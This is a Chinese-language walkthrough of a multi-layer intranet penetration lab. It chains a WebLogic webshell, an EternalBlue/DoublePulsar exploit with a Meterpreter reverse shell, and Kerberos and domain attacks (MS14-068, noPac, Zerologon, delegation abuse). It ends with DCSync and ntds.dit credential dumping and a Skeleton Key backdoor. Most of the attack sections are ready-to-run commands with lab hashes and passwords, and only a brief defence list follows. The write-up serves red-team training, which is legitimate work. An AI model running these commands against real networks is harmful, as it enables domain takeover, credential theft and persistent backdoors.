内网靶场--多层内网渗透
字数 1553 2025-08-24 16:48:07

多层内网渗透靶场实战教学文档

靶场环境概述

  • Weblogic主机:
    • 公网地址: 192.168.2.11
    • 内网地址: 10.10.20.12
  • 个人域主机 (redteam.com/):
    • 网卡1: 10.10.20.7
    • 网卡2: 10.10.10.7 (域网段)
  • SQLServer主机 (redteam/sqlserver-2008):
    • IP: 10.10.10.18
    • 设置了非约束委派和约束委派
  • 域控主机 (redteam/owa):
    • IP: 10.10.10.8

第一阶段: 初始入侵

1. Weblogic漏洞利用

  1. 端口扫描:

    • 发现开放7001端口(Weblogic默认端口)
    • 访问http://192.168.2.11:7001/console/login/LoginForm.jsp确认Weblogic控制台
  2. 漏洞利用:

    • 使用工具扫描确认存在漏洞
    • 上传JSP木马进行权限维持
  3. 定位网站根目录:

    dir C:\ /s /b | find "login_WebLogic_branding.png"
    
    • 找到路径: C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\login_WebLogic_branding.png
    • 在相同目录上传Webshell
  4. 连接工具:

    • 使用冰蝎连接Webshell

2. 内网信息收集

  1. 网段扫描:

    nbtscan.exe 10.10.20.12/24
    
    • 发现另一台主机10.10.20.7
  2. 漏洞扫描:

    fscan.exe -h 10.10.20.12/24 -m ms17010
    
    • 确认存在MS17-010(永恒之蓝)漏洞

第二阶段: 横向移动

1. MS17-010利用

  1. MSF设置监听:

    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 192.168.118.129
    set lport 1132
    run
    
  2. 添加路由:

    run autoroute -s 10.10.20.12/24
    run autoroute -p
    
  3. 设置SOCKS代理:

    use auxiliary/server/socks_proxy
    set version 4a
    set srvhost 192.168.118.129
    set srvport 10011
    run
    
  4. 使用EternalPulse工具攻击:

    Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp 10.10.20.7 --TargetPort 445
    
  5. 生成并上传Payload:

    msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1125 -f dll -o bind.dll
    
  6. DoublePulsar利用:

    Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 10.10.20.7 --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload bind.dll --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60
    

2. 域内信息收集

  1. 查询域控制器:

    net group "Domain Controllers" /domain
    
    • 确认域控地址为10.10.10.8
  2. 设置第二层代理:

    run autoroute -s 10.10.10.7/24
    run autoroute -p
    
    use auxiliary/server/socks_proxy
    set version 4a
    set srvhost 192.168.118.129
    set srvport 10086
    run
    

第三阶段: 域渗透

1. GPP组策略漏洞利用

use windows/gather/credentials/gpp
set session 2
run
  • 获取到域用户密码(可用于字典攻击)

2. MS14-068漏洞利用

  1. 生成票据:

    proxychains python2 ms14_068.py -u saul@redteam.red --rc4 e90127c07127ed12f4ebf668acca53e9:518b98ad4178a53695dc997aa02d455c -s S-1-5-21-1359007890-1682372173-1631803504-1135
    
  2. 票据注入:

    mimikatz kerberos::ptc TGT_saul@redteam.red.ccache
    

3. CVE-2021-42287 (noPac)漏洞利用

proxychains python3 noPac.py -hashes 00000000000000000000000000000000:518b98ad4178a53695dc997aa02d455c "redteam.red/saul" -dc-ip 10.10.10.8 -dc-host OWA --impersonate administrator -dump -use-ldap
  • 成功获取域控管理员hash

4. CVE-2020-1472 (Zerologon)漏洞利用

  1. 检测并利用漏洞:

    mimikatz.exe "lsadump::zerologon /target:10.10.10.8 /account:OWA$" "exit"
    mimikatz.exe "lsadump::zerologon /target:10.10.10.8 /account:OWA$ /exploit" "exit"
    
  2. 空密码连接域控:

    proxychains python3 secretsdump.py "redteam.red/OWA$"@10.10.10.8 -no-pass
    
  3. 导出注册表:

    proxychains wmiexec.py -hashes <hash密码> "redteam/administrator"@10.10.10.8
    reg save hklm\sam sam.save
    reg save hklm\system system.save
    reg save hklm\security security.save
    
  4. 恢复密码:

    python3 reinstall_original_pw.py OWA 10.10.10.8 1235c5b0e62d03dffeff03b2c9ec5f62
    

5. 约束委派利用

  1. 查询约束委派服务账户:

    AdFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    
  2. 横向攻击:

    • 使用之前获取的密码(Admin12345, admin!@#45)进行横向移动
    fscan.exe -h 10.10.10.8/24 -m smb -user administrator -pwdf mima.txt
    
  3. 票据请求与利用:

    kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:YUkong.kirbi" "exit"
    kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" "exit"
    mimikatz "kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi" "exit"
    

第四阶段: 权限维持

1. 导出域内所有hash

  1. DCSync攻击:

    mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.red /all /csv" "exit"
    
  2. 导出ntds.dit文件:

    ntdsutil snapshot "activate instance ntds" create quit quit
    ntdsutil snapshot "mount {e1122719-433f-4d20-88e7-336954dcc21a}" quit quit
    copy C:\$SNAP_202301241547_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
    reg save hklm\system c:\system.hive
    ntdsutil snapshot "unmount {30144165-7f1b-4732-b93f-f1567c6e3975}" "delete {30144165-7f1b-4732-b93f-f1567c6e3975}" quit quit
    
  3. 使用脚本导出:

    proxychains python3 secretsdump.py redteam.red/administrator:Admin123456@10.10.10.8 -just-dc-ntlm
    

2. Skeleton Key后门

mimikatz privilege::debug
mimikatz misc::skeleton
  • 设置万能密码"mimikatz",任何域用户都可以使用此密码进行认证

总结与防御建议

攻击路径总结

  1. 通过Weblogic漏洞获取初始立足点
  2. 利用MS17-010进行内网横向移动
  3. 通过GPP漏洞获取域用户凭证
  4. 利用多个Kerberos相关漏洞(MS14-068、noPac、Zerologon)提升至域管理员
  5. 使用约束委派进行权限扩展
  6. 通过DCSync获取域内所有hash
  7. 设置Skeleton Key进行权限维持

防御建议

  1. 及时修补漏洞:

    • 定期更新Weblogic等中间件
    • 修补MS17-010等严重漏洞
  2. 强化域安全:

    • 禁用不必要的委派设置
    • 监控异常Kerberos票据请求
    • 定期检查GPP设置
  3. 加强监控:

    • 监控DCSync操作
    • 检测异常的身份验证尝试(如Skeleton Key)
  4. 最小权限原则:

    • 限制域管理员权限
    • 实施网络分段,限制横向移动
  5. 凭证保护:

    • 使用LSA保护防止凭证转储
    • 实施强密码策略
多层内网渗透靶场实战教学文档 靶场环境概述 Weblogic主机 : 公网地址: 192.168.2.11 内网地址: 10.10.20.12 个人域主机 (redteam.com/): 网卡1: 10.10.20.7 网卡2: 10.10.10.7 (域网段) SQLServer主机 (redteam/sqlserver-2008): IP: 10.10.10.18 设置了非约束委派和约束委派 域控主机 (redteam/owa): IP: 10.10.10.8 第一阶段: 初始入侵 1. Weblogic漏洞利用 端口扫描 : 发现开放7001端口(Weblogic默认端口) 访问http://192.168.2.11:7001/console/login/LoginForm.jsp确认Weblogic控制台 漏洞利用 : 使用工具扫描确认存在漏洞 上传JSP木马进行权限维持 定位网站根目录 : 找到路径: C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\login_WebLogic_branding.png 在相同目录上传Webshell 连接工具 : 使用冰蝎连接Webshell 2. 内网信息收集 网段扫描 : 发现另一台主机10.10.20.7 漏洞扫描 : 确认存在MS17-010(永恒之蓝)漏洞 第二阶段: 横向移动 1. MS17-010利用 MSF设置监听 : 添加路由 : 设置SOCKS代理 : 使用EternalPulse工具攻击 : 生成并上传Payload : DoublePulsar利用 : 2. 域内信息收集 查询域控制器 : 确认域控地址为10.10.10.8 设置第二层代理 : 第三阶段: 域渗透 1. GPP组策略漏洞利用 获取到域用户密码(可用于字典攻击) 2. MS14-068漏洞利用 生成票据 : 票据注入 : 3. CVE-2021-42287 (noPac)漏洞利用 成功获取域控管理员hash 4. CVE-2020-1472 (Zerologon)漏洞利用 检测并利用漏洞 : 空密码连接域控 : 导出注册表 : 恢复密码 : 5. 约束委派利用 查询约束委派服务账户 : 横向攻击 : 使用之前获取的密码(Admin12345, admin !@#45)进行横向移动 票据请求与利用 : 第四阶段: 权限维持 1. 导出域内所有hash DCSync攻击 : 导出ntds.dit文件 : 使用脚本导出 : 2. Skeleton Key后门 设置万能密码"mimikatz",任何域用户都可以使用此密码进行认证 总结与防御建议 攻击路径总结 通过Weblogic漏洞获取初始立足点 利用MS17-010进行内网横向移动 通过GPP漏洞获取域用户凭证 利用多个Kerberos相关漏洞(MS14-068、noPac、Zerologon)提升至域管理员 使用约束委派进行权限扩展 通过DCSync获取域内所有hash 设置Skeleton Key进行权限维持 防御建议 及时修补漏洞 : 定期更新Weblogic等中间件 修补MS17-010等严重漏洞 强化域安全 : 禁用不必要的委派设置 监控异常Kerberos票据请求 定期检查GPP设置 加强监控 : 监控DCSync操作 检测异常的身份验证尝试(如Skeleton Key) 最小权限原则 : 限制域管理员权限 实施网络分段,限制横向移动 凭证保护 : 使用LSA保护防止凭证转储 实施强密码策略